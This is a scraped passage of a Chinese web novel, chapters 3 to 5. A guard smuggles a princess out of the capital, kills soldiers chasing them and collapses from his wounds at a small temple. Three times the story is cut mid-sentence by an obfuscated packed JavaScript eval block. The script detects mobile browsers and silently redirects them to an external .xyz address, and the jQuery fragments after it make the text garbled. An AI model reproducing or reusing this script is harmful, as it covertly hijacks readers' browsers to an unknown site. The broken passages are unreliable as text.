《没关系,快带我走》 3. 第3章 夕阳像一道呈着血色的刀落下,落在掀开盖子的菜桶里扭曲粘腻。 燕寔看到刀插进去的一瞬,浑身肌肉都绷紧了,抬手就要阻拦。 “宁国公主已出城,速去追!”有人纵马而来,声音急促威严。 那守卫的刀刚落下三分之一,听罢立即拔出,显然无暇再顾及这几只菜桶,而燕寔伸过来的手状似自然地按在了烂菜叶上,认真将菜叶重新压严实了,再是不慌不忙问已是开始召集人手的守卫:“大人,小的可以走了吗?” 守卫不耐地摆摆手。 燕寔才将菜桶盖子一一盖上,重新唯唯诺诺推着板车往外去。 菜桶里的李眠玉浑身发抖,虚软无力,嘴巴微张着不敢动,分明方才已经吐掉了,但舌尖上还残留着那蠕动的触觉,她的眼里含着一包泪,脸色涨红。 父王,母妃,皇祖父,今日怕是玉儿要与你们永别了。 玉儿怕是唯一钻过菜桶,吃过虫的窝囊公主,再无颜见人了。 这该死的暗卫,方才还死死按着玉儿的头,阻止玉儿出去与叛军同归于尽,他让玉儿经历了这样可怕的事,玉儿临死前一定要带他一起走。 城外的路磕磕绊绊,板车晃荡得更厉害,李眠玉一边在菜桶里颠簸一边流泪,已是不知今夕是何年。 燕寔推着板车靠着路边缘走,混在出城的人群里,避开了纵马出去追人的叛军,到一处林子时,自然地转入,装作要将菜叶倾倒在此的模样。 无人注意到这酒楼小厮。 到了林子稍稍往里些的地方,燕寔动作飞快地将装着李眠玉的菜桶搬下来,伸手将菜叶迅速拿开,往里看去,“公主可受伤?” 话音刚落下,便看见李眠玉泪流满面地仰头看来,她的脑袋上还顶着一块冬瓜皮,颤颤巍巍地抬起手。 燕寔不知她要做什么,朝着她的手看过去。 那白嫩的手上此刻也沾了粘腻的烂菜叶。 “你可知道我的手心里有什么?”李眠玉的声音哆嗦着,带着哭腔,一时不知是伤心还是气愤,嘴巴还怪异地半张着不肯合上。 燕寔低着头,迟疑:“……烂菜叶?” 李眠玉眼睫上一颗泪珠滚下来,张开了手,他看过去,她的掌心里躺了两截菜虫。 燕寔刚想夸公主胆大,就听李眠玉抖着声说:“你可知它是怎么断成两截的?” 想起方才将那虫吐出来时被这暗卫用力压着脑袋咬断虫的瞬间,李眠玉又是一阵干呕,她泣声如啼,令闻者心碎。 燕寔没吭声,李眠玉再次仰起头,哭着说:“刚才是我把它咬断的!” 她的眼泪好像流不完一样,嘴里一会儿念叨“我定是第一个吃虫子的公主”一会儿又哭着说“我要死了,我要被虫子毒死了,我还不如死在宫里,和父王母妃死在一处”一会儿又开始打嗝了,显然是哭到伤心处了。 燕寔静静等她缓和情绪,等她开始打嗝了说不出话了,才抬手将她手心里的虫子捉走丢掉,低声告诉她:“这是菜虫,无毒,吃了不会死。” 李眠玉一张脸花花绿绿的,听到这话哭声一顿,大眼睛看着燕寔。 燕寔声音重了几分:“这是菜虫,无毒,吃了不会死。” 李眠玉沉默一会儿,忽略那作呕的味道,恍惚间觉得自己又活过来了。 既活过来了,李眠玉捂着胸深呼吸再三忍下恶心,含了一大包泪努力装作什么事都没有发生,怒瞪一眼燕寔:“还不快将我拉出来?” 燕寔拉着她的手臂将她拉起,李眠玉从菜桶里出来时,双腿酸软发麻,倚靠着他才堪堪站住,流着泪说:“我要立即沐浴,我要漱口!” 趁着这工夫,燕寔打量了一下李眠玉,没见到什么伤口,不过还是问了一句:“公主可有受伤?” 李眠玉不知燕寔在说什么,在菜桶里时她满脑子都是虫,看不到别的,也感受不到别的,此时几乎是丢掉了仪态咆哮声:“我都吃了虫了,难道还不算受伤吗?” 燕寔:“……” 李眠玉泪流满面:“我要沐浴,我要漱口!” 燕寔将包袱从菜桶里捞出来,凝神听了会儿附近动静,转身背朝着李眠玉蹲下。 李眠玉抽噎着趴上了燕寔背,还故意将脸上粘腻的菜叶都蹭到他身上。 “啪嗒!”一声,冬瓜皮从她头上掉下来,李眠玉呆了一呆,盯着地上的冬瓜皮,想到刚才自己就是顶着这冬瓜皮和暗卫说话,瞬间难堪得哭声更悲戚了一些。 燕寔稳稳当当起身,听到耳边呜咽的声音,心想,公主真是水做的。 他快速往林子深处疾奔。 天色渐暗,李眠玉渐渐哭累了,她中午什么都没吃,这会儿终于觉得饿了,可她想到方才的菜叶,想到自己一身臭味,又没有了胃口,趴在暗卫脖颈里,奄奄一息,“我要沐浴……” 燕寔听罢,步子又快了一些,很快,小溪潺潺的声音在夜色下清晰可闻,李眠玉抬头,就着还未完全暗下来的天色,看到了前面的小溪。 她心中一喜,哭得沙沙的声音都上扬了,“有水了!” 燕寔将她放下来,嗯了一声,他作势要背过身,“公主去洗吧,我守着。” 李眠玉脸上和花猫似的,眼睛红红地看向他,此时又有些犹豫和胆怯,“这溪里会不会有蛇?” 燕寔:“……” 他没做声,走到溪旁,抽下腰带,李眠玉哎呀一声,正要捂住眼睛,却见燕寔手腕一甩,那根“腰带”瞬间挺直,竟是一把剑。 他走到溪旁看了看,手中剑忽的往水底下一插。 李眠玉的心提了起来,不敢过去,声音颤颤巍巍:“真的有蛇?” 燕寔转过身来,手里那把细长的剑上串着一条手臂上的大肥鱼,“只有鱼,没有蛇,公主怕鱼吗?” 李眠玉松了口气,摇了摇头,又说:“天太黑了,夜里我什么都看不清。”她的尾音委屈。 燕寔让李眠玉稍等,稍稍走远了几步,去捡了几根树枝,在溪边堆了一堆,取出火折子点上。 火光一下亮起,周围在李眠玉眼底一下清晰起来,她好奇问:“哪里来的火折子?” 燕寔:“酒楼后厨摸的。” 李眠玉刚才急着沐浴,这会儿又有些扭捏起来,这里是野外,还有个少年,且也没有澡豆,没有姑姑,她低下头,情绪又低落起来。 燕寔没有察觉,低头开始处理那条鱼,用软剑利落地开膛破肚,见李眠玉没有动,快速到稍稍下游些的地方冲洗了一下鱼。 李眠玉低头时闻到身上味道,那扭捏瞬间散去了大半,抬起头来正要吩咐暗卫背过身,就见他把那血淋淋的鱼拿去溪水里洗,立刻惊呼:“你这样我怎么沐浴!” 少年暗卫提着鱼回来,声音平静:“溪水源源不断从上游往下流,公主在上游洗,下游的水碰不到。” 他将鱼架在了火堆上。 李眠玉盯着那鱼,摸了摸肚子,她自中午就没吃过东西了,此时也没有怪暗卫的无礼,神思缥缈地哦了一声。 燕寔不等她多说,先将青铃姑姑给的包袱放在溪边,往地上一坐,背对着溪水。 李眠玉深呼吸一口气,低着头颤颤巍巍地解开了衣衫,从那粗布衣裙到姑姑为她缝制的绵软缎面的中衣,再到肚兜,最后脱去了掩在裙下的那双宫鞋和袜子。 她犹豫着踩进水里,沁凉的溪水从脚背上流过,在夏夜里舒服至极。 李眠玉在宫中时从没有这样玩水的时候,觉得十分新奇,只一瞬过后便弯腰蹲下身去,掬起水冲洗身上的汗渍,整个人都清爽了起来,烂菜叶和臭虫子仿佛从来没有来过,噩梦渐渐远去。 水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006021|178322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚过李眠玉小腿肚,她解下头上布包,散下头发,低着头动作生疏地搓洗头发。 从水里仰起头时,她嗅到了空气里鱼的香气,下意识偏头朝岸边看去。 火光亮着,少年暗卫的身影清晰,他脊背挺直,似一直绷紧了身体,高高的马尾柔顺地垂在脖颈里,沉静淡定。 李眠玉想到荒郊野外还有个人,稍稍心安。 即便是夏夜,在溪水里泡久了也会冷,李眠玉打了个冷颤后便从水里起来,沾了水的头发又厚又沉,从前都是青铃姑姑或是宫人替她打理,此时她凭着些许记忆,手忙脚乱捧着头发挤了挤,蹲下身去翻开姑姑收拾的大包袱。 一看到大包袱,李眠玉眼底又湿润起来,因着姑姑收拾得急,里面乱乱的,却从鞋袜到贴身衣物都齐全,一堆金钗金簪杂乱放着,李眠玉没有多看,先随意抽出件衣服细细擦身上的水。 燕寔在此时却忽然警觉地抬起头,看向那一处的林子,凝神听,忽的绷紧了身体,一下将火堆熄灭。 此时天已经彻底暗下来了,没有了火光,李眠玉就是睁眼瞎,她什么都看不见了,一下惊呼,“你做什么?” 燕寔却已经丢掉了手里的鱼,拿着剑站起身,与此同时,狗叫的声音在夜色下乍然响起。 李眠玉脸色一白,抱着怀里那件擦身的衣物僵住。 燕寔看着从林中出来带着狗追上来的穿着军甲的追兵,立即回身,“走!” 可李眠玉赤身裸、体,又什么都看不清,她慌乱地想弯腰摸地上的包袱,声音颤抖:“我、我还没穿衣服,我看不见!” 燕寔蹲下身想要帮她寻地上包袱里的衣物,可此时身后忽然大亮,是寻来的追兵点了火把。 李眠玉脸色惨白,神色恍惚地看着朝着这边奔来的追兵,身体开始发抖。 燕寔迅速将包袱包好,往臂上一挂,转身抽出李眠玉怀里的衣服,将她一裹,就要扛起她跑。 “咻——!”一支箭朝着燕寔射来,他迅速避开。 李眠玉失去所有力气,白着脸踉跄着倒在地上。 第二支朝着燕寔的箭又飞来。 燕寔回身拿剑斩开,迅速拿起李眠玉丢在地上的粗布裙往身后旋挡箭雨,他弯腰去拉地上的李眠玉,“公主!” 李眠玉脑袋里嗡嗡嗡的,想到自己赤身被这么多人看到,已是不想活了,听到燕寔声音茫茫然抬头。 “交出公主,饶你一命!”有人在不远处喝道。 燕寔弯腰,单手抱起公主往肩上一扛,只当没听到,迅速跃过溪水,往另一处山林狂奔。 身后箭雨不断呼啸而过,李眠玉浑身虚软,仿佛离了魂。 燕寔不断回身挡箭雨,速度自然慢了下来,很快被追了上来,他将李眠玉放到树旁,一个纵跃,剑光在黑夜里如白练,速度极快地冲过去,杀气横生,少年腰肢柔软敏锐,几乎在靠近追兵的瞬间,便将其一剑封喉。 他杀起人来不要命,也丝毫不在意砍向他身上的刀剑,肩上被刺上一剑的同时,他手里的剑已经连杀三人。 血洒在李眠玉脸上,血腥味在周围蔓延,李眠玉的魂魄仿佛终于在此刻回笼,她满脸的泪,睁大了眼看着燕寔杀人,呼吸急促。 似乎听到身后动静,燕寔回头,一双带着弯弧的眼在黑夜里冷酷却又让人心安:“跑。” 李眠玉被那双眼里的气势惊到,抖着腿站起来,下意识便听从,胡乱系上衣服,转身往林子深处跑。 她赤着脚,脚底很快被碎石磨破,疼得眼泪直流,却不敢停下来,身后狗叫声不绝。 燕寔连杀三人,余光却发现另有一拨暗卫打扮的人,趁着方才乱时,已是往林中疾奔。 他眉眼一凛,再不恋战,拿起被衣服卷住的箭,用力抬手一甩,靠近的追兵倒下一批,他转身就去追李眠玉。 4.第4章 风从脸庞呼啸而过,林间的灌木叶子尖锐,李眠玉的腿不停被叶子割着,疼得她直抽气,她眸中清光流溢,一张脸都是湿的。 她睁大了眼睛,但什么都看不见,可她不敢停下来。 狗叫声仿佛就在身后了。 李眠玉的脚底忽然一阵锐痛,再吃不住这疼,脚踝一扭,整个人往前扑去。 她喘着气呜咽声,嘴里无助喊:“燕寔……燕寔!” 但身后没有人回应她,狗朝她扑了过来,李眠玉吓得连连后退,用脚踹过去,那狗狂叫着咬住她衣角,“走开!走开!”她的手摸到块石头,连忙抓起 朝狗的方向丢过去。 狗的嘴松开了些,但后面还有狗追来。 李眠玉吓得再顾不上疼,站起来转身就跑。 跑了没两步,横里忽然蹿出来道人影,一把扛起她就跑。 李眠玉被燕寔扛惯了,第一反应便松了口气,以为是燕寔来了,她终于放声哭了出来,“你怎么才来!” “公主!” 可同一时间,身后几步远的地方传来她的暗卫紧绷的呼声。 李眠玉的身体在这瞬间绷紧了,一动不敢动。 扛着她的人不是燕寔! 她惊恐恍神后反应极大,剧烈挣扎起来,扛着她的人比燕寔更高大粗壮,她的腿被死死压住,根本动弹不得。 “燕寔!”李眠玉声音颤抖。 燕寔一路打斗过来,刚杀了两个暗卫,才落后了一截,他打量了一圈四周,飞身跃至一旁的树上,脚尖迅速一点,翻个身追上去,手中软剑腾空朝着那暗卫刺去。 那暗卫反应极快,侧身避开,但燕寔身形奇诡,速度极快地缠上去,他还扛着公主,肩上立即被刺了一剑,他似也被激怒,不管肩上的剑,朝着燕寔一套连招靠着力量压过去。 燕寔在力量上不敌对方,但他灵巧,一个下腰,剑朝着对方双腿横扫过去。 那暗卫急忙避开,只避开的这工夫,燕寔已经起身,又一剑朝着他喉间此去,他大骇,下意识拉过李眠玉挡剑。 燕寔似早已料到他此举,剑早已偏移,另一手却伸了过去,在那暗卫手上卸力的瞬间便抓住李眠玉胳膊,将她抢了过来,他速度极快,在拉住李眠玉的一瞬,剑就又刺了过去,暗卫拿剑挡,又凭着力量,朝燕寔臂膀砍去。 双方都中了剑,可燕寔不要命,剑势又凶又野,往前撞去,剑尖眼看就要刺进暗卫脖子,那暗卫先退了一步。 就是此时,燕寔如大鹏飞起,一个纵跃,带着李眠玉不退反进,一剑刺穿对方咽喉。 李眠玉被燕寔单手搂抱在怀里,她的双手紧紧抱住他的脖颈,脸上却一下被洒上几滴热血,她不知是燕寔的还是贼人的,心头惶然,带着哭腔的声音,“燕寔!” “在。”燕寔喘了口气,应了声。 他以极快的速度将李眠玉重新扛到肩上,转身向林中深处。 燕寔的轻功太好,在黑夜里瞬间没了身影。 李眠玉心头紧张,她虽什么都看不见,但闻到了燕寔身上的血腥味,她害怕又担忧,紧紧咬着唇,忍住情绪。 燕寔仿佛不知疲累,扛着李眠玉在山林纵跃。 只是李眠玉却没有他这样的定力,不知离开那溪边多久,她腹部坠胀得厉害……她想小解了。 她咬牙忍着,可燕寔奔跑间,她的腹部会轻轻撞击他的背部,她觉得自己随时都将颜面无存。 在燕寔再一次的纵跃后,李眠玉声音细小、颤颤巍巍:“我想更衣了……” 燕寔听到了,动作一滞,左右看了一下,带着李眠玉到一处树旁,停下来时他先凝神听了听周围动静,才是将她放了下来。 李眠玉脚底有伤,落地瞬间疼得站不住,堪堪扶着燕寔才站住,但她很快推了推他,松开,羞说:“你走远几步。” 燕寔听话后退几步,背过身。 可李眠玉一下听到周围有什么蹿过,吓得惊叫一声,“燕寔!你、你还是再过来一点!” 燕寔没做声,后退了两步,并用剑敲击地面发出声音,好让李眠玉知道他的位置。 李眠玉扭捏一会儿,实在忍耐不住腹胀,涨红了脸掀起衣摆一手撑着树忍着痛慢慢蹲了下来。 夜色下,潺潺溪流的声音显得那样清晰。 李眠玉想到近在咫尺的暗卫,眼中又蓄起羞耻的泪,她把脸埋在膝盖里,静了会儿,但也不敢安静太久,第一次什么都没洗地站起身来。 有了上一次沐浴的事,她再不敢提出去溪边清洗或是换衣耽误时间。 “好了。”李眠玉声音很低。 燕寔重新回到李眠玉身边,蹲下身来,李眠玉丢下羞耻,闭上眼趴上去,再次开始了奔逃,终于在天堪堪亮时出了林子,眼前出现道路。 李眠玉也终于能看得见了,她看到燕寔的衣服都被血浸透了,她心慌不已,“燕、燕寔……你还好吗?” “无事。”少年声音有几分沙哑,却依旧冷静。 李眠玉却觉得人流了这么多血怎么可能没事,她很怕燕寔会死。 燕寔若是死了,她该怎么办? “我现在能看到了,我看到你身上的血了,燕寔,你不会死吧?”李眠玉说着,声音已经开始抽噎。 “不会。”少年话不多,简单两个字却掷地有声。 只是他只说两字,再不肯多说一字,李眠玉心里还是又慌又怕,抱紧少年暗卫的脖颈,“那我们……我们要去哪里?” 燕寔默然一瞬,“圣上之令,带公主寻一安全之地藏身。” 可如今叛军要捉她,哪里又是安全之地?李眠玉觉得前路茫然,此时周围很静,她忽然又想起来昨夜里她赤身裸、体被那样多的军汉看到,如今自己这外衫下也是空荡荡的,什么都没穿,被那贼子搂抱过。 昨夜里那种崩溃绝望再次涌上心头,眼睛一眨,泪水便漱漱而下。 她小声抽泣着,难堪快要将她淹没。 燕寔的脖颈里很快被热意潮湿淹没,他没有吭声,只是左右查看路上可有行人,同时分辨此处是何处,哪里又是如今可去的安全之地。 “我们去南清寺。”很快,他决定了方向。 李眠玉没听说过南清寺,她只知道大慈安寺,那是皇家寺庙,她曾经去过,为父王母妃祈福。 她哽咽着:“我不想离京太远,或许皇祖父很快能把握住局势,或许皇祖父会来寻我。” 她的声音听起来太轻了,摇摇欲坠,和昨日里不肯进菜桶时的委屈不同。 燕寔稳稳当当在羊肠小道疾行,声音微喘却依旧平静:“南清寺不远,在那方便打听京中局势。” 李眠玉没有作声,只是燕寔脖颈里的水却越来越多,与他的汗水混在一起往下淌。 燕寔静了会儿,忽然说:“那些看到的军士都被我杀了。” 李眠玉默默流泪的动作一顿,慢慢从少年暗卫颈项间抬起头,声音虚弱:“都杀了?” “都杀了。”燕寔声音一板一眼,“除了我。” 李眠玉:“……”她想起最后关头燕寔挡在她身前,用衣衫将她包裹住的场景,眼泪和鼻涕泡一起又出来了。 若论谁看得清楚,自然是她的暗卫。 但是这是皇祖父给她的暗卫,是她的人,他不会说出去的……而且燕寔力气这样大,武功这样强,她现在可对付不了他。 她哽咽着说:“忘掉!” 少年答得很快:“已经忘掉了。” 李眠玉被一噎,暗卫的记性有这样差?还是在燕寔眼里她是木头,不值得记住? 她心中愤然了一瞬,瞪了一眼燕寔的后脑勺,但抹了两下眼睛,到底什么都没再说。 这样狼狈的时候,她可不希望有任何人记住! 燕寔看起来对南清寺很熟,当天彻底亮的时候,他已是背着李眠玉上了一座矮山头,在山腰处果真有一座小寺。 比起大慈安寺来,这小寺又小又破,外面的漆早就剥落了。 李眠玉以为燕寔会敲门进入,没想到他背着她纵身一跃,便从后门处跃了进去,轻盈落地后,他熟门熟路带着她去了后面一间寮房。 寮房门没锁,推开后,里面一应俱全。 燕寔背着李眠玉到竹床边,稍稍整理一下,便将她放下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她刚要出声训斥,燕寔手里沾了水的纱布开始擦拭她的伤口,她疼得瞬间没了训人的力气,眼里立刻包了泪,哼出声来,还是斥道:“你轻点儿!” 可她尾音上挑,更似埋怨的嗔恼。 燕寔以为自己力气太大了,便更轻了一些,可李眠玉还是一直哼哼唧唧,这不满那不满,时不时斥他一句,声音既气愤又哽咽,所以,原本很快能处理好的伤口,花费了许久。 替李眠玉弄完后,燕寔长长地呼出一口气,端起水站起来,“公主,我先出去了。” 李眠玉也长长地呼出一口气,低着头立即点了下头,又想起一时忙抬起头看他,迟疑:“这寺里没有人吗?” “寺里只有一个主持,每隔一些时日就会出去云游,三不五时还会出门化缘,寺中经常空着。” 燕寔说罢,见李眠玉没有旁的疑问了,便转过身往外去,只是他转身时,身体轻晃了一下,但很快,脚步又稳稳往外去。 他一将门关上,她便立即弯腰打开放在床边地上的包袱,从里面翻出衣物,迅速将身上的外衫脱下来,再一件件将肚兜内衫都穿上。 穿齐整后,李眠玉才是松口气,又找出一根发带随意绑了一下头发,重新躺下后,疲惫涌上来,又累又饿,她揉了揉肚子,实在没力气去喊燕寔,闭上眼打算睡会儿。 只是她却睡不着,闭上眼就想到青铃姑姑,想到皇祖父,还想到了崔云祈,不知道他发现自己失踪后会不会着急来寻她? 他那样温柔良善的人,一定会着急的。 李眠玉皱紧了眉翻了个身,忽然听到外面哐当一声重响,她一下惊醒,睁开了眼坐起来,紧张地朝外喊:“燕寔?” 外面没有人回应她。 李眠玉又叫了两声,燕寔始终没回她,她心里有些着急,翻身下床,只是落地瞬间,脚底疼得站不稳,又摔回床上。 她咬着唇弯腰在包袱里翻出一双鞋,小心套了一下,小心翼翼忍痛站起来。 李眠玉好不容易挪到门口,拉开门,一眼看到燕寔光着上半身昏厥在井水旁,旁边是随手丟掷的血衣。 5.第5章 纵横交错的伤口,皮肉翻卷,露出血肉,李眠玉看到的瞬间,便开始头晕目眩,心慌恐惧,靠在门框上差点软倒在地。 “燕寔?”她抖着声轻轻喊了一声,地上的少年暗卫毫无反应。 李眠玉眼眶瞬间红了,踉跄着扑出去,在燕寔身旁跪坐下来,她的手刚搭上燕寔胳膊想轻晃,地上面色苍白的少年却忽然睁开眼,警惕又凌厉地反手捉住她的手腕。 他的力气大得惊人,像是要将李眠玉的手腕折断,她疼得惊呼:“燕寔!” 李眠玉带着哭腔的声音似乎让燕寔有些迷茫,那双猫一样的眼睛定在她脸上看了会儿,松开了手,又缓缓闭上了眼睛。 “你别闭上眼!燕寔,醒醒!”李眠玉的手腕解脱后,顾不上疼,又抓着燕寔胳膊轻轻晃了两下,她声音急切着急,但燕寔再没有反应。 她不知该怎么办,看着燕寔面色惨白毫无声息地躺着,身上那样多的伤,一下害怕得不行,想到他是为了保护自己才受的伤,眼泪就一波又一波往下掉,“对不起,对不起,如果不是我要沐浴,我们、我们不会在那里停下来,对不起……你别死。” 李眠玉心中愧疚蔓延,她从没遇到过这样情况,一时慌乱,很快想起方才燕寔是怎么替自己处理伤口,她忙弯下腰试图将他扶起来。 可少年身形修长,穿着衣瞧着清瘦,可脱下衣后,身上肌理分明,死沉死沉。 李眠玉不想她的暗卫死,使出了吃奶的力气,才将他从地上扶坐起来,她喘了好几口气,涨红着脸眼中含泪,很是狐疑地看燕寔的身体,分明不胖,为何这样沉呢? “燕寔,燕寔?”她又拍了拍燕寔的脸,又抖着手放到他鼻息下,感受到气息才稍稍安心。 李眠玉深吸口气,打算扶着燕寔站起来,可地上的人纹丝不动。 她抖着腿喘了两口气,又试着抓住燕寔胳膊往房中拖,可她才稍稍使力,就见他肩膀处的伤口扯到又渗出血来,她立时不敢动了。 李眠玉泪水涟涟地咬住唇想了想,轻轻放下了燕寔,又转身踉跄着进屋,再出来时,怀里抱着竹床上那一床被褥。 她蹲下来将被褥先放在地上,再是费力将燕寔扶坐起来,再快速将褥子抖开往燕寔身下垫,垫好后,又小心翼翼将燕寔平放在褥子上,做完这一切,李眠玉额上都沁出了汗。 她没有歇,跑到井水旁,木盆打翻了,水流光了,她咬着唇看了看井水,眼睛又湿润了,有些无措,不知水是怎么打上来的。 李眠玉蹲下来研究了一下井水旁绑着长长绳索的木桶,迟疑着拿起来,一手抓着绳,另一手抓起木桶丢进井水里。 可木桶慢悠悠飘浮在了水面上。 李眠玉趴在井旁,费力地晃动木桶,好不容易木桶倾斜了一下,忽然沉入水中,她眨了下眼,若有所悟,忙提起绳子。 可她没想到木桶打满水会那样沉,也没想到打湿了的绳子那样滑,一时没抓稳,绳子就脱了手。 李眠玉下意识探身下去抓,半个身体都几乎倾下去,将将要掉进去,她惊醒过来,又吓出一身冷汗,赶紧又抬起身来。 她跪在井水旁,看着水底下隐约可见的木桶,眼睛又模糊起来,小声抽泣了一下,自觉无用,为什么宫外面做什么都那样难。 李眠玉怕极了燕寔会死掉,很快就抹了眼睛,在他脱下的衣物旁找寻了一番,看到了那只药瓶,她晃晃悠悠跑回屋里又拿了帕子出来,蹲下身细细擦拭他身上的伤口。 那些伤口翻着皮肉,混着血迹,她看一眼就头晕目眩,抖着手擦了许久,才是将药粉倒上去。 可她控制不好力道,一下倒下去小半瓶。 燕寔身上伤口那样多,她方才又用掉不少,李眠玉本就担心一瓶不够用,现在看到倒出来半瓶,又心慌起来,吸着鼻子小心用帕子擦拭着匀到另一道伤口上。 他的肩膀、胳膊、胸腹、腰上、背上都有伤口,李眠玉一边小心又笨拙地上药,一边默默流泪祈祷燕寔会好起来。 一瓶伤药全部都用完了,她找出那纱布,学着先前燕寔替她包扎双足的样子,费力扶起他后在他身上缠了几圈。 如此做完后,李眠玉也虚软无力地倒在了地上的被褥上。 但她喘了几口气后,又睁开眼睛,舔了舔唇,坐了起来,她看了看身侧的燕寔,又爬起来,迟疑着打量四周,小心往前面的佛堂去。 一路上李眠玉都很警惕,既担心有追兵忽然从哪里冒出来,又担心有旁的贼子藏在这,她惊惧不已,好不容易小心翼翼到了前面佛堂。 佛堂门开着,没有人,里面一座佛像悲悯地立在那儿。 李眠玉仰头看了会儿,眼底便又被泪浸湿了,她忍着脚疼,慢慢挪过去,双手合十在蒲团上跪下。 “佛祖在上,信女李眠玉,请佛祖保佑信女皇祖父平安无事,保佑信女与皇祖父很快能相聚,保佑信女的青铃姑姑还活着,保佑信女的未婚夫能很快找到信女,保佑信女的暗卫燕寔很快好起来。”她一边说,一边磕头。 然后,李眠玉稍顿后,又说:“信女还请佛祖保佑让我二叔不得好死,被乱箭射杀,或者被大刀砍死,哪怕是掉进粪池淹死呢!总之最好死掉,天下才太平。佛祖千万保佑!等信女回去了,一定天天派人供奉佛祖!因为信女是公主,有食邑五百户,不差钱!” 这一次,李眠玉的头磕得同样郑重。 她生得白,心又虔诚,头磕得扎实,这么几下,额心已经通红了。 李眠玉再次抬头时,眼睛里除了湿湿的泪外,还有些不好意思,“佛祖,信女还要求您一件事。”她顿了顿,白嫩的脸上飞起两片红霞,支吾着说:“瞧您……瞧您一个人也吃不了这么多 ,可否给我的暗卫匀一些,他身上好多伤,我怕他会死掉,他不像我二叔那样是个十足坏人,我的暗卫人很好……佛祖,您就匀一些给他吧。” 说完,她仰起头,一双泪眼凝神望着佛像,仿佛在聆听的模样,半晌后,她又说:“佛祖、佛祖要是不反对,那我就拿了。” 李眠玉第一次做这样的事,拖着伤腿慢吞吞到供桌旁时,还有些扭捏羞赧,又偷偷抬头看了上面威仪的佛像一眼,才是拿了一小串枇杷,两块饼子。 然后像做贼一样又回到了后面寮房,她的脸全程都很红。 回到寮房,看到燕寔还白着脸躺在地上,又焦灼起来,她进了屋,先将贡品放在桌上,又去将床上的枕头也拿起来,余光看到角落里有一把伞,想到夏日睡在外面很热,便也取了过来。 李眠玉走到外面,先将伞打开撑在燕寔头顶上方,再是蹲下身拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16014151|178322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起燕寔的马尾辫,将枕头垫在下面,松开时,她见到昏睡中的暗卫眉头微微皱了一下,又有些心虚地摸了摸他柔滑的头发,装作无事发生。 但很快,她又反应过来什么,高兴地晃了晃燕寔胳膊,“燕寔,你醒了?” 燕寔依旧没有反应,仿佛刚才的蹙眉是李眠玉的错觉。 李眠玉失望,想将手收回来,却忽然觉得掌心下的皮肤滚烫,她呆了一呆,想起什么,忙学着从前青铃姑姑那样探了探他额头。 祸不单行…… “好烫……”李眠玉喃喃,低头再看燕寔,发现他唇瓣干涸,看起来就像不行了的模样。 她真的不想暗卫死,“别死……别死。”她说罢,眼前又模糊了。 李眠玉抓起一旁的被子抖开,严严实实裹住了燕寔,从前她高烧时,青铃姑姑就会给她裹被子,发一身汗就好了。 她跪坐在燕寔身旁,低着头盯了他一会儿,不见他额上冒出一滴汗,心里着了急,咬了咬唇,犹豫再犹豫。可想到皇祖父,想到青铃姑姑,想到崔云祈,她忍下羞意,更顾不上干不干净,眼眶湿润地掀开被子躺到地上,抱紧暗卫,再将被子齐齐盖住他。 她的暗卫不能死,他死了,她一个人怎么在外面活得下去? 何况,燕寔是因为保护她才受伤的。 李眠玉在心里念叨着佛祖保佑,恳请佛祖在让二叔死掉前先管管燕寔的事,她实在惧怕燕寔熬不过去,心里惶惶。 燕寔还没出汗,她就因为在这炎炎夏日裹被就出了一身汗,粘在身上极不舒服,她实在受不住时,就悄悄掀开被缝透透气,透完气再赶紧将被子裹好。 这么几个来回后,李眠玉便再抵不住困意,昏昏沉沉睡了过去。 …… 燕寔是被热醒的,他仿佛被人丢在了火炉里炙烤。 睁开眼时,入眼的是黄色的油纸伞。 他有些茫然,想起身,却发觉身体被什么重重压着,动弹不得,他瞬间清醒警惕,一下手臂绷紧就要肘击,余光却看到枕在他胳膊上的少女,额发湿粘,浓长的眼睫垂着,乌灵眼眸紧闭着,睡熟了的模样。 燕寔更茫然了,微微蹙了眉,目光一转,打量四周,发现自己竟是躺在寮房外的院子里,身下却垫着褥子,盖着被子,枕着枕头。 他缓缓将目光重新落在怀里的公主身上。 李眠玉虽是睡了过去,可地上硬邦邦的,很不舒服,她心里又藏着事,一有点动静就惊醒了过来,她睁开眼却对上了暗卫漆黑的眼,先是一怔,随即一喜,“燕寔你醒啦!” 燕寔是知道自己那时抵不住疲倦与伤势昏厥倒下的,此刻听到李眠玉的话,睫毛一颤,点了下头。 只是还未等他说话,李眠玉却忽然意识过来什么,浑身一僵,手脚从燕寔身上缩回来,往旁边一滚。 她速度迅猛,将一旁的油纸伞都撞飞了。 李眠玉在旁边坐起来,看着燕寔先脆声开口:“你发烧后特别怕冷,我一过来你就非要抱着我,我挣都挣不开,害我只能和你一起躺在外面!我可是堂堂公主,还有青梅竹马才高八斗俊美非凡温润如玉的未婚夫,你如此冒犯我……我看在你是我的暗卫,拼命保护我的份上才没和你计较!” 她高昂着头,语气又急又严肃。 6.第6章 黄昏时,少女脸上的汗在橘色夕阳下呈出蜜色的光。 